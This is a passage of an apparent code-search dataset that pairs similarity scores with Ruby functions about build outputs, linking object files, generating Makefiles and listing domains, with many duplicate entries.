\"Outputs.#{output_name}\")\n if drip_path.size > 1\n parent = drip_path.first.parent\n drip_path.unshift(parent) if parent\n drip_path.each_slice(2) do |base_sparkle, ref_sparkle|\n next unless ref_sparkle\n base_sparkle.compile.resources[ref_sparkle.name].properties.parameters.set!(output_name, result)\n ref_sparkle.compile.parameters.set!(output_name) { type \"String\" } # TODO: <<<<------ type check and prop\n result = compile.ref!(output_name)\n end\n end\n result\n end",
"title": ""
},
{
"docid": "5244bf5c7ce9d2338306848eaa48f4d7",
"score": "0.56401694",
"text": "def link(file=nil)\n\t\t\tif multiple_output_files? then\n\t\t\t\tdest_file = @file.to_s\n\t\t\t\tdest_file += '.glyph' unless dest_file.match /\\..+$/\n\t\t\t\tdest_file.gsub!(/^text\\//, '') unless Glyph.lite?\n\t\t\t\texternal_file = dest_file.to_s.gsub(/\\..+$/, Glyph[\"output.#{Glyph['document.output']}.extension\"]) \n\t\t\t\tf = (file.blank? || file != @file) ? \"#{Glyph[\"output.#{Glyph['document.output']}.base\"]}#{external_file}\" : \"\"\n\t\t\t\t\"#{f}##{@id}\"\n\t\t\telse\n\t\t\t\t\"##{@id}\"\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "f71ba2b8610ca7fe6ab0c9927a08a370",
"score": "0.5619955",
"text": "def pc_downloads_link\n $tracer.trace(__method__)\n return ToolTag.new(a.className(\"omtr-link11\"), __method__)\n end",
"title": ""
},
{
"docid": "2a62c53b07faa8b9613c4f26eaee32c5",
"score": "0.5599465",
"text": "def outputs; end",
"title": ""
},
{
"docid": "2a62c53b07faa8b9613c4f26eaee32c5",
"score": "0.5599465",
"text": "def outputs; end",
"title": ""
},
{
"docid": "2a62c53b07faa8b9613c4f26eaee32c5",
"score": "0.5599465",
"text": "def outputs; end",
"title": ""
},
{
"docid": "2a62c53b07faa8b9613c4f26eaee32c5",
"score": "0.5599465",
"text": "def outputs; end",
"title": ""
},
{
"docid": "883464c278bfe9b67161412f355cdb7c",
"score": "0.5572446",
"text": "def make_output_available(output_name, outputs, source_stack)\n bubble_path = outputs[output_name].root_path - root_path\n drip_path = root_path - outputs[output_name].root_path\n bubble_path.each_slice(2) do |base_sparkle, ref_sparkle|\n next unless ref_sparkle\n base_sparkle.compile.outputs._set(output_name)._set(\n :value, base_sparkle.compile._stack_output(\n ref_sparkle.name, output_name\n )\n )\n end\n if bubble_path.empty?\n if drip_path.size == 1\n parent = drip_path.first.parent\n if parent && !parent.compile.parameters._set(output_name).nil?\n return compile.parameter!(output_name)\n end\n end\n raise ArgumentError.new \"Failed to detect available bubbling path for output `#{output_name}`. \" <<\n \"This may be due to a circular dependency! \" <<\n \"(Output Path: #{outputs[output_name].root_path.map(&:name).join(\" > \")} \" <<\n \"Requester Path: #{root_path.map(&:name).join(\" > \")})\"\n end\n result = source_stack.compile._stack_output(bubble_path.first.name, output_name)\n if drip_path.size > 1\n parent = drip_path.first.parent\n drip_path.unshift(parent) if parent\n drip_path.each_slice(2) do |base_sparkle, ref_sparkle|\n next unless ref_sparkle\n base_sparkle.compile.resources[ref_sparkle.name].properties.parameters.value._set(output_name, result)\n ref_sparkle.compile.parameters._set(output_name).type \"string\" # TODO: <<<<------ type check and prop\n result = compile._parameter(output_name)\n end\n end\n result\n end",
"title": ""
},
{
"docid": "883464c278bfe9b67161412f355cdb7c",
"score": "0.5572446",
"text": "def make_output_available(output_name, outputs, source_stack)\n bubble_path = outputs[output_name].root_path - root_path\n drip_path = root_path - outputs[output_name].root_path\n bubble_path.each_slice(2) do |base_sparkle, ref_sparkle|\n next unless ref_sparkle\n base_sparkle.compile.outputs._set(output_name)._set(\n :value, base_sparkle.compile._stack_output(\n ref_sparkle.name, output_name\n )\n )\n end\n if bubble_path.empty?\n if drip_path.size == 1\n parent = drip_path.first.parent\n if parent && !parent.compile.parameters._set(output_name).nil?\n return compile.parameter!(output_name)\n end\n end\n raise ArgumentError.new \"Failed to detect available bubbling path for output `#{output_name}`. \" <<\n \"This may be due to a circular dependency! \" <<\n \"(Output Path: #{outputs[output_name].root_path.map(&:name).join(\" > \")} \" <<\n \"Requester Path: #{root_path.map(&:name).join(\" > \")})\"\n end\n result = source_stack.compile._stack_output(bubble_path.first.name, output_name)\n if drip_path.size > 1\n parent = drip_path.first.parent\n drip_path.unshift(parent) if parent\n drip_path.each_slice(2) do |base_sparkle, ref_sparkle|\n next unless ref_sparkle\n base_sparkle.compile.resources[ref_sparkle.name].properties.parameters.value._set(output_name, result)\n ref_sparkle.compile.parameters._set(output_name).type \"string\" # TODO: <<<<------ type check and prop\n result = compile._parameter(output_name)\n end\n end\n result\n end",
"title": ""
},
{
"docid": "7a22dcd9f9618466957466c9905c5068",
"score": "0.55517805",
"text": "def library_code\n @code\n end",
"title": ""
},
{
"docid": "7b198d543cec36f44dbb7859f2ccb694",
"score": "0.5516738",
"text": "def output(context, params)\r\n return '' if @generated_source.empty?\r\n result = @generated_source.each_with_object('') do |element, item|\r\n item << element.output(context, params)\r\n end\r\n return result\r\n end",
"title": ""
},
{
"docid": "0ee2e6452317f6ebcbd536d1a41508fc",
"score": "0.55085814",
"text": "def write_module(output_dir)\n puts \"writing link #{name}\"\n\n create_file(output_dir) {|file|\n file.puts(\"linked_timezone #{quote_str(@name)}, #{quote_str(@link_to.name)}\")\n }\n end",
"title": ""
},
{
"docid": "26d0a5179b1efef57f395875cd4ddd9e",
"score": "0.5498942",
"text": "def symlink_output(link)\n return unless Chefctl::Config.symlink_output\n Chefctl.lib.symlink(@paths[:out], @paths[link])\n end",
"title": ""
},
{
"docid": "f7889e9445bbe9284e39dfee77b3eefc",
"score": "0.54897",
"text": "def dyld_link\n return @dyld_link unless @dyld_link.nil?\n @dyld_link = (value & 4) != 0\n @dyld_link\n end",
"title": ""
},
{
"docid": "16ab3522449481afbce38267c7f97714",
"score": "0.5483915",
"text": "def output_dll conf\n Paths.join(output_path(conf) || fallback_output_path, \"#{asmname}.dll\")\n end",
"title": ""
},
{
"docid": "2fe081eba6f90ece892f1ca4ccd84b83",
"score": "0.5473565",
"text": "def generate(out = StringIO.new)\n out << head_code << \"\\n\"\n out << helpers_code << \"\\n\" unless @helpers_code.blank?\n out << initialization_code << \"\\n\"\n out << convert_method_code << \"\\n\"\n transform_methods_code(out)\n out << support_methods_code << \"\\n\"\n out << tail_code\n out\n end",
"title": ""
},
{
"docid": "24383b8adea1524077087ed8b4710364",
"score": "0.540411",
"text": "def link_it(exe_name, obj_list)\n linker = build_linker_fields\n cmd_str = \"#{linker[:command]}#{linker[:includes]} \" +\n (obj_list.map{|obj|\"#{$yml_cfg['linker']['object_files']['path']}#{obj} \"}).join +\n $yml_cfg['linker']['bin_files']['prefix'] + ' ' +\n $yml_cfg['linker']['bin_files']['destination'] +\n exe_name + $yml_cfg['linker']['bin_files']['extension'] + \" #{linker[:options]}\"\n execute(cmd_str, false, false)\n end",
"title": ""
},
{
"docid": "6873310e77f3ef29402ffa25eac0ca71",
"score": "0.5400438",
"text": "def generate_link\n CWS_BASE + \"/view_language.php?l=#{@code}\"\n end",
"title": ""
},
{
"docid": "451d0eaa6ab6a393ac9d5e799bebebec",
"score": "0.53931797",
"text": "def generate_cr\n writer = Writer.new \" \", \"# \"\n writer.puts \"@[Link(ldflags: \\\"-L#{$opts[:mruby_libdir]} -l#{@ffi_lib} -lm\\\")]\"\n writer.puts \"lib #{@module_name}\"\n defs = collect_defs\n defs.keys.each do |key|\n defs[key].each do |d|\n if d.respond_to?(:write_crystal)\n d.write_crystal(writer)\n end\n end\n end\n writer.puts \"end\"\n writer.output\n end",
"title": ""
},
{
"docid": "fa7fca7f809e26e985fc5fb976d532aa",
"score": "0.5387553",
"text": "def get_EditMetaDataLink()\n \t return @outputs[\"EditMetaDataLink\"]\n \tend",
"title": ""
},
{
"docid": "80b8669e49a0d38e45b67ab947305d53",
"score": "0.5382608",
"text": "def dlltool(dllname, deffile, libfile)\n # define if we are using GCC or not\n if Rake::ExtensionCompiler.mingw_gcc_executable then\n dir = File.dirname(Rake::ExtensionCompiler.mingw_gcc_executable)\n tool = case RUBY_PLATFORM\n when /mingw/\n File.join(dir, 'dlltool.exe')\n when /linux|darwin/\n File.join(dir, \"#{Rake::ExtensionCompiler.mingw_host}-dlltool\")\n end\n return \"#{tool} --dllname #{dllname} --def #{deffile} --output-lib #{libfile}\"\n else\n if RUBY_PLATFORM =~ /mswin/ then\n tool = 'lib.exe'\n else\n fail \"Unsupported platform for cross-compilation (please, contribute some patches).\"\n end\n return \"#{tool} /DEF:#{deffile} /OUT:#{libfile}\"\n end\n end",
"title": ""
},
{
"docid": "1dec5c20419b297c42e0098c29f90f0b",
"score": "0.53654164",
"text": "def script_output(name)\n\t\t@scripts.each do |script|\n\t\t\treturn script.output if script.id == name\n\t\tend\n\n\t\tnil\n\tend",
"title": ""
},
{
"docid": "1dec5c20419b297c42e0098c29f90f0b",
"score": "0.53654164",
"text": "def script_output(name)\n\t\t@scripts.each do |script|\n\t\t\treturn script.output if script.id == name\n\t\tend\n\n\t\tnil\n\tend",
"title": ""
},
{
"docid": "975545ad8dc4117f3c7c50b140f57c93",
"score": "0.5350743",
"text": "def get_output(output, refs=false)\n _get_output(output, refs)\n end",
"title": ""
},
{
"docid": "0b2c9b4dbcb16d65ad4fe64078bdf609",
"score": "0.5346808",
"text": "def get_EditLink()\n \t return @outputs[\"EditLink\"]\n \tend",
"title": ""
},
{
"docid": "0b2c9b4dbcb16d65ad4fe64078bdf609",
"score": "0.5346808",
"text": "def get_EditLink()\n \t return @outputs[\"EditLink\"]\n \tend",
"title": ""
},
{
"docid": "e4301b8ff77d20fe2122ce4fb64ef655",
"score": "0.53467286",
"text": "def write_build_script\n o = output(\"Makefile\")\n name = output_name.downcase\n \n # Target for shared library\n shared_library_name = FFI.map_library_name(name)\n o.puts \"#{shared_library_name}: #{name}.o\"\n o.puts \"\\tgcc -shared -o #{shared_library_name} #{name}.o\"\n o.puts\n \n # Target for compiled version\n o.puts \"#{name}.o:\"\n o.puts \"\\tgcc -Wall -fPIC -c #{name}.c\"\n o.puts\n \n # Target for cleaning\n o.puts \"clean:\"\n o.puts \"\\trm #{name}.o\"\n o.puts \"\\trm #{shared_library_name}\"\n \n close(o)\n end",
"title": ""
},
{
"docid": "9331697a0c8c3182a639a7badb7b5f17",
"score": "0.53077364",
"text": "def linked_dylibs; end",
"title": ""
},
{
"docid": "9331697a0c8c3182a639a7badb7b5f17",
"score": "0.53077364",
"text": "def linked_dylibs; end",
"title": ""
},
{
"docid": "5bf742ac5fbd44403e08d83e286b996f",
"score": "0.5293555",
"text": "def dex_code\n `#{command_dex} code #{@apk_path}`.strip\n end",
"title": ""
},
{
"docid": "fb51eeed5e722abfa3104dfbb462ea10",
"score": "0.5290893",
"text": "def c_output_conversion(name); name; end",
"title": ""
},
{
"docid": "68505e14b1e8eaef1a11321f10e3e738",
"score": "0.52766234",
"text": "def link\n Dir.chdir File.dirname(@file_path)\n\n cmd = \"fgllink -o #{self.link_file_path} #{self.build_file_path} #{self.dependencies.any? ? self.dependencies.map(&:build_file_path).uniq.join(\" \") : nil}\"\n puts cmd\n system cmd\n end",
"title": ""
},
{
"docid": "39ad20ad70fbe8a71ed490d233c5e3b3",
"score": "0.5270302",
"text": "def generate\n result = super\n\n result << \"\\n\"\n\n result << <<-eos.strip_heredoc\n FOUNDATION_EXPORT double #{target.product_module_name}VersionNumber;\n FOUNDATION_EXPORT const unsigned char #{target.product_module_name}VersionString[];\n eos\n\n result << \"\\n\"\n\n result\n end",
"title": ""
},
{
"docid": "56b86701b78b4a708d14e87148b68b69",
"score": "0.52584594",
"text": "def output\n get_output\n end",
"title": ""
},
{
"docid": "bf60c707cb155e31e3ca8ac99beee004",
"score": "0.52554566",
"text": "def output_ext(_ext); end",
"title": ""
},
{
"docid": "1c86b546184e1d24f4cdf4eaa9b70b10",
"score": "0.52471995",
"text": "def map_output(output)\n return output\n end",
"title": ""
},
{
"docid": "a667e4d780ee8e690a3bf1b7558b1196",
"score": "0.5241896",
"text": "def default_output\n if @emit_only\n 'out.c'\n else\n 'a.out'\n end\n end",
"title": ""
},
{
"docid": "d9b3b4de9ab4492bd9a29957c4d17f1a",
"score": "0.52320117",
"text": "def outputs\n build_outputs_list(send_command(\"outputs\"))\n end",
"title": ""
},
{
"docid": "23f7f11fe5baa614ab00b9165069987d",
"score": "0.52312654",
"text": "def compile(_argv)\n puts generate_compile_output\n end",
"title": ""
},
{
"docid": "c562c947fb526188445b5c12ca2ad57b",
"score": "0.523012",
"text": "def get_ports_links(all_processor_outputs, xml_file)\n datalinks = T2Flow::Parser.new.parse(xml_file).datalinks\n all_processor_outputs.each { |processor_key, a_processor|\n processor_name = processor_key\n unless a_processor[:ports].nil?\n a_processor[:ports].each { |port_key, a_port|\n port_name = port_key\n link_source = processor_name + \":\" + port_name\n a_port[:connections] = []\n datalinks.each { |dl|\n if dl.source == link_source\n a_port[:connections] << dl.sink\n end\n }\n }\n end\n }\n end",
"title": ""
},
{
"docid": "95953afd2c34bd8296ef4c24fa75b7a2",
"score": "0.5228353",
"text": "def link exe, objects\n sh \"gcc #{objects.join ' '} -o #{exe} #{L_FLAGS.join ' '}\"\nend",
"title": ""
},
{
"docid": "a604cd88edde26d4a20a2d1ab730535b",
"score": "0.52162683",
"text": "def output_name\n return @output_name\n end",
"title": ""
},
{
"docid": "e3aa5849560426c0ea85c43fd8258752",
"score": "0.5215098",
"text": "def output\n <<-OUTPUT\n#{@official.output}\n#{@bolsa.output}\n#{@blue.output}\n\n- Gap bolsa......blue: #{gap_bolsa_percent}%\n- Gap official...blue: #{gap_official_percent}%\n\nInformation source:\n#{@config.base_url}\n OUTPUT\n end",
"title": ""
},
{
"docid": "b256582ed58a5ad17d6b33d48cd8271b",
"score": "0.5210545",
"text": "def do_link exe, objects\n sh \"#{$CC} #{objects.join ' '} -o #{exe} #{$L_FLAGS.join ' '}\"\nend",
"title": ""
},
{
"docid": "66ce41a43b8fd0876d08c4cd8738cc83",
"score": "0.5197445",
"text": "def get_output_refs(output)\n _get_output(output, true)\n end",
"title": ""
},
{
"docid": "f66e14b509e7ffa60303e303bfc0b269",
"score": "0.5194802",
"text": "def get_cmd\n log = Build.logger\n\n # list of objects to link: for an executable, we want all the libraries regardless\n # of whether we are linking statically or dynamically\n #\n objlist = @deps.map( &:path )\n if defined? @libs # add lib files if any\n log.debug \"Adding %d library files for %s\" % [@libs.size, @path]\n objlist = Linkable.add_libs objlist, @libs # get all required libraries\n end\n raise \"No objects for #{@path}\" if objlist.empty?\n\n # no need for cc, cxx, or cpp options; only need linker options\n opt = get_options false\n link = (:ld_cc == @linker) ? @build.cc : @build.cxx\n\n # error if -shared is present for an executable because that will create a shared\n # library, not an executable file!\n #\n if Build.system.darwin?\n i = opt.get_opt '-dynamiclib'\n j = opt.get_post '-dynamiclib'\n raise \"Executable target %s has -dynamiclib linker option\" % @path if ( i || j )\n raise \"Executable target %s has install_name\" % @path if defined? @install_name\n else\n i = opt.get_opt '-shared'\n j = opt.get_post '-shared'\n raise \"Executable target %s has -shared linker option\" % @path if ( i || j )\n raise \"Executable target %s has soname\" % @path if defined? @soname\n end\n\n s_opt, s_post = opt.to_s, opt.post_to_s # pre/post options as strings\n cmd = [link, \"-o #{@path}\", s_opt].join( ' ' ) \n cmd += ' ' + objlist.join( ' ' )\n\n cmd += ' ' + s_post if !s_post.empty?\n return cmd\n end",
"title": ""
},
{
"docid": "59052177cdac72de4cea56745d63cd4b",
"score": "0.5194294",
"text": "def ret_port_link()\n assembly = ret_assembly_instance_object()\n if ret_request_params(:service_link_id)\n create_obj(:service_link_id, PortLink, assembly_idh: assembly.id_handle())\n else\n filter = { input_component_id: ret_component_id(:input_component_id, assembly) }\n if service_type = (ret_request_params(:dependency_name) || ret_request_params(:service_type))\n filter.merge!(service_type: service_type)\n end\n if ret_request_params(:output_component_id)\n filter.merge!(output_component_id: ret_component_id(:output_component_id, assembly, allow_external_component: true))\n end\n assembly.get_matching_port_link(filter)\n end\n end",
"title": ""
},
{
"docid": "c33b7e122f9855d34db7c29a5fcadfed",
"score": "0.5187805",
"text": "def outcode\n \"GIR\"\n end",
"title": ""
},
{
"docid": "06cb59a6e7771d0f3ed9b3ed9ad3bbde",
"score": "0.5187149",
"text": "def write name\n writer = Elf::ObjectWriter.new(@object_space , Elf::Constants::TARGET_ARM)\n assembly = writer.text\n writer.save(\"#{name}.o\") \n function = @object_space.classes[@target[0]]\n assert function , \"no class #{@target[0]}\"\n function = function.get_function(@target[1])\n assert function , \"no function #{@target[1]} for class #{@target[0]}\"\n io = StringIO.new\n function.assemble io\n assembly = io.string\n # use this for getting the bytes to compare to : \n puts bytes(assembly)\n assembly.bytes.each_with_index do |byte , index|\n is = @should[index]\n assert_equal Fixnum , is.class , \"@#{index.to_s(16)} = #{is}\"\n assert_equal byte , is , \"@#{index.to_s(16)} #{byte.to_s(16)} != #{is.to_s(16)}\"\n end\n if( RbConfig::CONFIG[\"build_cpu\"] == \"arm\")\n system \"ld -N #{name}.o\"\n result = %x[./a.out]\n assert_equal @output , result\n end\n end",
"title": ""
},
{
"docid": "7c15a49d43fede6619c32b0c7463a747",
"score": "0.51701456",
"text": "def link exe, objects\n sh \"gcc #{objects.join ' '} -o #{exe} #{$L_FLAGS.join ' '}\"\nend",
"title": ""
},
{
"docid": "2092f6c9bd61e49156b0df6dcd1841e4",
"score": "0.5154604",
"text": "def output\n @output ||= (name ? File.join('doc', name, 'dododoc') : 'doc/dododoc')\n end",
"title": ""
},
{
"docid": "723d974c4d3960629d48da40eb2a943d",
"score": "0.51324147",
"text": "def to_binary(platform)\n linker = to_risc(platform)\n linker.position_all\n linker.create_binary\n linker\n end",
"title": ""
},
{
"docid": "9a401156cfc1f20c6fc4cab6737b8fde",
"score": "0.5127374",
"text": "def dll_string\n\t\treturn datastore['DLL'] || ''\n\tend",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.5119417",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.51189536",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.51189536",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.51189536",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.51189536",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.51189536",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.51189536",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.51189536",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.51189536",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.51189536",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.51189536",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.51189536",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.51189536",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.51189536",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.51189536",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.51189536",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.51189536",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.51189536",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.51189536",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.51189536",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.51189536",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.51189536",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.51189536",
"text": "def output; end",
"title": ""
},
{
"docid": "a6142521f73c376476df18cb22eaf3d9",
"score": "0.51189536",
"text": "def output; end",
"title": ""
},
{
"docid": "f74a92f19b07805e5475399664f8ac7a",
"score": "0.5117525",
"text": "def pry_output_content; end",
"title": ""
},
{
"docid": "f74a92f19b07805e5475399664f8ac7a",
"score": "0.5117525",
"text": "def pry_output_content; end",
"title": ""
},
{
"docid": "5a6918b8d51a036d6468901cedbdb5be",
"score": "0.51171637",
"text": "def output\n return basic_output()\n end",
"title": ""
},
{
"docid": "049602a3aef94f30de8e94a73e9adf4f",
"score": "0.5116461",
"text": "def output_usage\n output_version\n end",
"title": ""
},
{
"docid": "5fc0faaf73c7800b2e1907abad250641",
"score": "0.51148814",
"text": "def output\n @output ||= begin\n o = @package.default_output\n if o[0,1] == \"/\"\n o\n else\n File.join(@working_dir, o)\n end\n end\n end",
"title": ""
},
{
"docid": "808f82d3646d58b6c9ddb5fa87208502",
"score": "0.5105501",
"text": "def get_outputs(run, refs, outfile, dir, zip_out=nil)\n data_lists = run.get_output(dir, refs)\n print_flattened_result(outfile, data_lists)\n if zip_out\n add_to_zip_file(dir, data_lists, zip_out)\n end\n end",
"title": ""
},
{
"docid": "e38f0e3e47f401d7a27d2f7077c0f783",
"score": "0.5091093",
"text": "def dts_linkbases\n end",
"title": ""
},
{
"docid": "a334ec63c3510bb733d17ea80a77d881",
"score": "0.5088121",
"text": "def resend_code_link\n # unit_test_no_generate: resend_code_link, a.className(create_ats_regex_string(\"ats-resendcodelnk\"))\n $tracer.trace(__method__)\n return ToolTag.new(a.className(create_ats_regex_string(\"ats-resendcodelnk\")), __method__)\n end",
"title": ""
},
{
"docid": "914b40b586df32ea5b0a0e42a4a14beb",
"score": "0.50872064",
"text": "def output_name\n return @output_name\n end",
"title": ""
},
{
"docid": "5dc60c440339878de09911984b73912e",
"score": "0.5085778",
"text": "def write name\n writer = Elf::ObjectWriter.new(@object_machine , Elf::Constants::TARGET_ARM)\n assembly = writer.text\n writer.save(\"#{name}.o\")\n function = @object_machine.classes[@target[0]]\n assert function , \"no class #{@target[0]}\"\n function = function.get_function(@target[1])\n assert function , \"no function #{@target[1]} for class #{@target[0]}\"\n io = StringIO.new\n function.assemble io\n assembly = io.string\n # use this for getting the bytes to compare to :\n puts bytes(assembly)\n assembly.bytes.each_with_index do |byte , index|\n is = @should[index]\n assert_equal Fixnum , is.class , \"@#{index.to_s(16)} = #{is}\"\n assert_equal byte , is , \"@#{index.to_s(16)} #{byte.to_s(16)} != #{is.to_s(16)}\"\n end\n if( RbConfig::CONFIG[\"build_cpu\"] == \"arm\")\n system \"ld -N #{name}.o\"\n result = %x[./a.out]\n assert_equal @output , result\n end\n end",
"title": ""
},
{
"docid": "d854a43b5f40646905712a7f47dba898",
"score": "0.50844663",
"text": "def output_ext\n @output_ext ||= (permalink_ext || converter_output_ext)\n end",
"title": ""
},
{
"docid": "e0c1676d5cd44269d579ac2923e4aec3",
"score": "0.5063822",
"text": "def write_build_script\n log.info \"Writing Build script\"\n\n o = output(\"Makefile\")\n name = output_name.downcase\n \n # Target for shared library\n shared_library_name = FFI.map_library_name(name)\n o.puts \"#{shared_library_name}: #{name}.o\"\n o.puts \"\\tgcc -shared -o #{shared_library_name} #{name}.o\"\n o.puts\n \n # Target for compiled version\n o.puts \"#{name}.o:\"\n o.puts \"\\tgcc -Wall -fPIC -c #{name}.c\"\n o.puts\n \n # Target for cleaning\n o.puts \"clean:\"\n o.puts \"\\trm #{name}.o\"\n o.puts \"\\trm #{shared_library_name}\"\n \n close(o)\n end",
"title": ""
},
{
"docid": "9360e8acefd59eab17da396bba94f851",
"score": "0.5062532",
"text": "def target_link_uri\n @tool.target_link_uri\n end",
"title": ""
},
{
"docid": "bec2e7e352f26871e17c437434ff44cc",
"score": "0.5045282",
"text": "def cp_generate_code\n raw_data = @api.cp_generate_code\n data = Serializer.parseData(raw_data)\n\n data.dig(0, 0, 0)\n end",
"title": ""
},
{
"docid": "bcdfd0c47ed529471dade15c2a9c8994",
"score": "0.50414443",
"text": "def get_links_from_lynx_output(lynx_output)\n # suppose there are hidden links\n site_parts = lynx_output.split(LYNX_DIV1)\n\n if site_parts.size == 1\n # there wheren't hidden links\n site_parts = lynx_output.split(LYNX_DIV2)\n\n # make sure the split was successful\n if site_parts.size != 2\n raise NetworkError, \"no links found or invalid lynx output\"\n end\n else\n # there where hidden links remove them\n site_parts[1, 1] = site_parts[1].split(LYNX_DIV_HIDDEN)\n\n # make sure the split was successful\n if site_parts.size != 3\n raise NetworkError, \"no links found or invalid lynx output\"\n end\n end\n\n return site_parts[1]\n end",
"title": ""
},
{
"docid": "94a868a0fac6a58b50ce5c20a01b906e",
"score": "0.50367355",
"text": "def link_variables() ; ext_info[:link_variables] ; end",
"title": ""
},
{
"docid": "62838b97d8e021a2b4893cea229c3c3b",
"score": "0.5031019",
"text": "def llvm_codegen()\n parser = PCParser.new\n tt = parser.parse_file \n walkNode(tt) \nend",
"title": ""
}
] |
3304072644c43eac96f878d32c670d13 | Returns all response domains in order | [
{
"docid": "f5c949d9e2d97875b85d2ecc302a27fb",
"score": "0.7272568",
"text": "def response_domains\n grid_rds_qs.map { |x| x.response_domain }\n end",
"title": ""
}
] | [
{
"docid": "df59d722a73ebe332b5d4eb5e6e70958",
"score": "0.76679957",
"text": "def response_domains\n self.response_domain_datetimes.to_a + self.response_domain_numerics.to_a +\n self.response_domain_texts.to_a + self.response_domain_codes.to_a\n end",
"title": ""
},
{
"docid": "de98689c7fdd6353c706878e80981eb9",
"score": "0.74428684",
"text": "def domains\n []\n end",
"title": ""
},
{
"docid": "f43bb7cc58c54afe375a40662f61adaa",
"score": "0.73871356",
"text": "def domains\n\tfetch(\"/Domain.List\")\nend",
"title": ""
},
{
"docid": "2d458d32bf926e9ee31475d84648330c",
"score": "0.7336942",
"text": "def domains\n request('domain-list_domains').inject([]) { |domains, domain|\n domains << Domain.new(domain)\n }\n end",
"title": ""
},
{
"docid": "5e554d8601f6dc4c8aac865e68485617",
"score": "0.7304146",
"text": "def domains_list\n call('domains.list')[:domains]\n end",
"title": ""
},
{
"docid": "d17324b2958f1ead28d862f7e9cd92ba",
"score": "0.7293355",
"text": "def domains\n domains = []\n nextToken = nil\n base_options = {:Action => 'ListDomains'}\n continue = true\n \n while continue\n options = base_options.dup\n options[:NextToken] = nextToken unless nextToken.nil?\n \n sdb_query(options) do |h|\n h.search('//DomainName').each {|e| domains << Domain.new(self, e.innerText)}\n mt = h.at('//NextToken')\n if mt\n nextToken = mt.innerText\n else\n continue = false\n end\n end\n end\n \n domains\n end",
"title": ""
},
{
"docid": "d9ce0e6e85595bf93fe5a6839b7c2550",
"score": "0.72468996",
"text": "def domains\n @_domains ||= mxers.map { |m| Host.new(m.first).domain_name }.sort.uniq\n end",
"title": ""
},
{
"docid": "af3abcb57c2905ce8b87622d6df086c1",
"score": "0.72303593",
"text": "def domains\n collect { |a| a.domain }\n end",
"title": ""
},
{
"docid": "bde235898a2d86a9074540f3655e1d45",
"score": "0.71757644",
"text": "def domains\n doc = request(\"domain-list_domains\")\n api_error?(doc)\n (doc/:data).inject([]) { |domains, domain| domains << Domain.new_from_xml(domain); domains }\n end",
"title": ""
},
{
"docid": "fca257ec3796963cb0fb6bcf2ae4c605",
"score": "0.7115644",
"text": "def domains\n @domains\n end",
"title": ""
},
{
"docid": "2b9d14c164f625fbd2d2ad122ea9aa58",
"score": "0.70438826",
"text": "def domains\n render json: Url.select(:domain).distinct, each_serializer: DomainsSerializer, root: false\n end",
"title": ""
},
{
"docid": "1ce6bc5f69670f89d33ba7a09b825e85",
"score": "0.7028479",
"text": "def domains\n raw_data['domains']\n end",
"title": ""
},
{
"docid": "f075cead54fc5629ca5bb0e45a21f922",
"score": "0.7026347",
"text": "def domains\n get()[\"app\"][\"domains\"]\n end",
"title": ""
},
{
"docid": "d8ae247ce37d6d97bb291305c941499e",
"score": "0.69318837",
"text": "def domains\n get_proxy_bypass_domains(resource[:name])\n end",
"title": ""
},
{
"docid": "772314e51f0448dca6103650fa3cec99",
"score": "0.68904644",
"text": "def list(options = {})\n @client.get('domains', options).to_h['items']\n end",
"title": ""
},
{
"docid": "014e5b50e0ee93e32d363fc063daee90",
"score": "0.68878317",
"text": "def domains\n connection.list_domains[:domains]\n end",
"title": ""
},
{
"docid": "55781980c5726f9ea3864d3e28c08acf",
"score": "0.68317425",
"text": "def getDomains()\r\n\r\n _dprint(\"getDomains() called ...\")\r\n\r\n valid_tag = \"DOMAINLIST\"\r\n _dprint(\"Getting Domains\")\r\n\r\n mesg = <<XML\r\n <transaction>\r\n <type>3</type>\r\n <data>\r\n <domain-list>null</domain-list>\r\n </data>\r\n </transaction>\r\nXML\r\n reconnect {\r\n xml = _request(mesg)\r\n domains = XPath.match(xml, '//data/domain-list')\r\n }\r\n _dprint(\"Returning Results...\")\r\n return domains\r\n end",
"title": ""
},
{
"docid": "b394a5a8b1ff14c06f60df2075232867",
"score": "0.680739",
"text": "def domains_reverse_named\n domains_names = []\n self.domains._reverse.each do |domain|\n domains_names.push domain.name\n end\n domains_names\n end",
"title": ""
},
{
